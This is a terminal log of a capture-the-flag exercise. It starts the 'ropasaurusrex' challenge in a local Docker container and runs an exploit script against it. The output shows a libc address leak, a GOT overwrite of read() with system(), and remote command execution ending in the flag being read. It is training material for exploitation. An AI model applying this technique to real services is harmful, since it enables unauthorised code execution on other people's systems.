C:\Users\MEH>docker run -p 127.0.0.1:31337:31337 -it adamdoupe/ropasaurusrex     
Service defaults
        Bind = All addresses.
        Only from: All sites
        No access: No blocked sites
        No logging

Service configuration: challenge
        id = challenge
        flags = IPv4
        type = UNLISTED
        socket_type = stream
        Protocol (name,number) = (tcp,6)
        port = 31337
        Instances = 50
        wait = no
        user = 65534
        Groups = no
        PER_SOURCE = -1
        Bind = 0.0.0.0
        Server = /challenge/challenge
        Server argv = challenge
        Only from: All sites
        No access: No blocked sites
        No logging

22/11/7@10:19:47: DEBUG: 1 {cnf_start_services} Started service: challenge
22/11/7@10:19:47: DEBUG: 1 {cnf_start_services} mask_max = 6, services_started = 1
22/11/7@10:19:47: NOTICE: 1 {main} xinetd Version 2.3.15 started with libwrap loadavg options compiled in.
22/11/7@10:19:47: NOTICE: 1 {main} Started working: 1 available service
22/11/7@10:19:47: DEBUG: 1 {main_loop} active_services = 1
22/11/7@10:19:47: NOTICE: 1 {general_handler} Unexpected signal 28 (Window changed)
22/11/7@10:19:47: DEBUG: 1 {main_loop} active_services = 1
22/11/7@10:19:55: DEBUG: 1 {main_loop} select returned 1
22/11/7@10:19:55: DEBUG: 1 {server_start} Starting service challenge

Running the exploit against the actual challenge.

C:\Users\MEH\Desktop>python ropa.py id
[+] Leaked address of read(): 0xf7df3980
[*] Calculated address of system(): 0xf7d58da0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)


C:\Users\MEH\Desktop>python ropa.py whoami
[+] Leaked address of read(): 0xf7e74980
[*] Calculated address of system(): 0xf7dd9da0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

nobody


C:\Users\MEH\Desktop>python ropa.py "ls -l"
[+] Leaked address of read(): 0xf7e89980
[*] Calculated address of system(): 0xf7deeda0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

total 76
drwxr-xr-x   1 root root 4096 Jun  1  2017 bin
drwxr-xr-x   2 root root 4096 Apr 12  2016 boot
drwxrwxr-x   1 root root 4096 Aug 31  2017 challenge
drwxr-xr-x   5 root root  360 Nov  7 10:19 dev
drwxr-xr-x   1 root root 4096 Nov  7 10:19 etc
drwxr-xr-x   2 root root 4096 Apr 12  2016 home
drwxr-xr-x   1 root root 4096 May 18  2017 lib
drwxr-xr-x   2 root root 4096 May 18  2017 lib32
drwxr-xr-x   2 root root 4096 May 10  2017 lib64
drwxr-xr-x   2 root root 4096 May 18  2017 libx32
drwxr-xr-x   2 root root 4096 May 10  2017 media
drwxr-xr-x   2 root root 4096 May 10  2017 mnt
drwxr-xr-x   2 root root 4096 May 10  2017 opt
dr-xr-xr-x 302 root root    0 Nov  7 10:19 proc
drwx------   1 root root 4096 May 18  2017 root
drwxr-xr-x   1 root root 4096 May 18  2017 run
drwxr-xr-x   1 root root 4096 May 18  2017 sbin
drwxr-xr-x   2 root root 4096 May 10  2017 srv
dr-xr-xr-x  11 root root    0 Nov  7 10:19 sys
drwxrwxrwt   1 root root 4096 Jun  1  2017 tmp
drwxr-xr-x   1 root root 4096 May 18  2017 usr
drwxr-xr

C:\Users\MEH\Desktop>python ropa.py "ls -l /challenge"
[+] Leaked address of read(): 0xf7e79980
[*] Calculated address of system(): 0xf7ddeda0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

total 16
-rwxr-xr-x 1 root root 2948 Jun  1  2017 challenge
-rw-r--r-- 1 root root  251 Aug 31  2017 challenge.conf
-rw-r--r-- 1 root root   29 May 18  2017 flag
-rw-r--r-- 1 root root  334 May 18  2017 run_xinetd.sh


C:\Users\MEH\Desktop>python ropa.py "cat /challenge/flag"
[+] Leaked address of read(): 0xf7e2b980
[*] Calculated address of system(): 0xf7d90da0
[*] Sending the command to be run with system() to store at .bss address
[*] Sending address of system to overwrite address pointed by read@got.plt!
[+] Receiving the output of the command

PCTF{RopISDaBEST!!!!!!11!!!}